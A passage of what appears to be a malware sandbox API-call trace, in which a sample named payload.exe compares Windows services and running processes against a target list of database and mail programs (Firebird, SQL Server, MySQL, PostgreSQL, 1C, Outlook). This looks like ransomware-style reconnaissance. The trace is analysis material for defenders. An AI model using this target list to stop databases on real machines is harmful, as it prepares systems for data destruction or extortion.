lpString2="LanmanServer") returned 1 [0109.976] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0109.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0109.976] lstrlenW (lpString="LanmanWorkstation") returned 17 [0109.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0109.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0109.976] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0109.976] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0109.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0109.976] lstrlenW (lpString="lmhosts") returned 7 [0109.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0109.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0109.976] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0109.976] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0109.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0109.976] lstrlenW (lpString="MMCSS") returned 5 [0109.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0109.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0109.976] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0109.976] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0109.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0109.976] lstrlenW (lpString="MpsSvc") returned 6 [0109.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0109.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0109.976] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0109.976] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0109.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0109.976] lstrlenW (lpString="Netman") returned 6 [0109.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0109.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0109.976] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0109.976] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0109.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0109.977] lstrlenW (lpString="netprofm") returned 8 [0109.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0109.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0109.977] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0109.977] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0109.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0109.977] lstrlenW (lpString="NlaSvc") returned 6 [0109.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0109.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0109.977] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0109.977] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0109.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0109.977] lstrlenW (lpString="nsi") returned 3 [0109.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0109.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0109.977] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0109.977] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0109.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0109.977] lstrlenW (lpString="PcaSvc") returned 6 [0109.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0109.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0109.977] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0109.977] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0109.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0109.977] lstrlenW (lpString="PlugPlay") returned 8 [0109.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0109.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0109.977] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0109.977] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0109.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0109.977] lstrlenW (lpString="Power") returned 5 [0109.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0109.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0109.977] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0109.977] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0109.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0109.977] lstrlenW (lpString="ProfSvc") returned 7 [0109.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0109.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0109.977] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0109.977] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0109.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0109.977] lstrlenW (lpString="RpcEptMapper") returned 12 [0109.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0109.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0109.977] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0109.977] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0109.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0109.977] lstrlenW (lpString="RpcSs") returned 5 [0109.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0109.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0109.977] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0109.977] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0109.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0109.978] lstrlenW (lpString="SamSs") returned 5 [0109.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0109.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0109.978] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0109.978] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0109.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0109.978] lstrlenW (lpString="Schedule") returned 8 [0109.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0109.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0109.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0109.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0109.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0109.978] lstrlenW (lpString="SENS") returned 4 [0109.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0109.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0109.978] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0109.978] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0109.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0109.978] lstrlenW (lpString="ShellHWDetection") returned 16 [0109.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0109.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0109.978] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0109.978] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0109.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0109.978] lstrlenW (lpString="Spooler") returned 7 [0109.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0109.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0109.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0109.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0109.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0109.978] lstrlenW (lpString="SysMain") returned 7 [0109.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0109.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0109.978] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0109.978] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0109.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0109.978] lstrlenW (lpString="Themes") returned 6 [0109.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0109.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0109.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0109.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0109.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0109.978] lstrlenW (lpString="TrkWks") returned 6 [0109.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0109.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0109.978] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0109.978] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0109.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0109.978] lstrlenW (lpString="UxSms") returned 5 [0109.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0109.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0109.978] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0109.978] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0109.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0109.979] lstrlenW (lpString="WdiServiceHost") returned 14 [0109.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0109.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0109.979] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0109.979] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0109.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0109.979] lstrlenW (lpString="WdiSystemHost") returned 13 [0109.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0109.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0109.979] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0109.979] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0109.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0109.979] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0109.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0109.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0109.979] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0109.979] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0109.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0109.979] lstrlenW (lpString="Winmgmt") returned 7 [0109.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0109.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0109.979] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0109.979] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0109.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0109.979] lstrlenW (lpString="WPDBusEnum") returned 10 [0109.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0109.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0109.979] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0109.979] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0109.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0109.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0109.979] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x194 [0109.980] Process32FirstW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0109.981] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0109.981] lstrlenW (lpString="System") returned 6 [0109.981] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0109.981] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0109.981] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0109.981] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0109.981] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0109.981] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0109.981] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0109.981] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0109.981] lstrlenW (lpString="smss.exe") returned 8 [0109.981] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0109.981] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0109.981] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0109.981] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0109.981] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0109.981] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0109.982] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0109.982] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0109.982] lstrlenW (lpString="csrss.exe") returned 9 [0109.982] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0109.982] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0109.982] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0109.982] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0109.982] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0109.982] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0109.982] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0109.982] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0109.982] lstrlenW (lpString="wininit.exe") returned 11 [0109.982] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0109.982] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0109.982] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0109.982] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0109.982] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0109.982] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0109.982] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0109.982] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0109.983] lstrlenW (lpString="csrss.exe") returned 9 [0109.983] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0109.983] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0109.983] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0109.983] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0109.983] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0109.983] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0109.983] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0109.983] lstrlenW (lpString="winlogon.exe") returned 12 [0109.983] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0109.983] lstrlenW (lpString="services.exe") returned 12 [0109.983] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0109.983] lstrlenW (lpString="lsass.exe") returned 9 [0109.983] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0109.984] lstrlenW (lpString="lsm.exe") returned 7 [0109.984] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.984] lstrlenW (lpString="svchost.exe") returned 11 [0109.984] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.984] lstrlenW (lpString="svchost.exe") returned 11 [0109.984] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.984] lstrlenW (lpString="svchost.exe") returned 11 [0109.984] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.985] lstrlenW (lpString="svchost.exe") returned 11 [0109.985] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.985] lstrlenW (lpString="svchost.exe") returned 11 [0109.985] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0109.985] lstrlenW (lpString="audiodg.exe") returned 11 [0109.985] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.985] lstrlenW (lpString="svchost.exe") returned 11 [0109.985] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.986] lstrlenW (lpString="svchost.exe") returned 11 [0109.986] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0109.986] lstrlenW (lpString="userinit.exe") returned 12 [0109.986] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0109.986] lstrlenW (lpString="dwm.exe") returned 7 [0109.986] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0109.986] lstrlenW (lpString="explorer.exe") returned 12 [0109.986] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0109.987] lstrlenW (lpString="spoolsv.exe") returned 11 [0109.987] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0109.987] lstrlenW (lpString="taskhost.exe") returned 12 [0109.987] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.987] lstrlenW (lpString="svchost.exe") returned 11 [0109.987] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0109.987] lstrlenW (lpString="payload.exe") returned 11 [0109.987] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0109.988] lstrlenW (lpString="reader_sl.exe") returned 13 [0109.988] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0109.988] lstrlenW (lpString="taskhost.exe") returned 12 [0109.988] Process32NextW (in: hSnapshot=0x194, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0109.988] lstrlenW (lpString="dllhost.exe") returned 11 [0109.988] 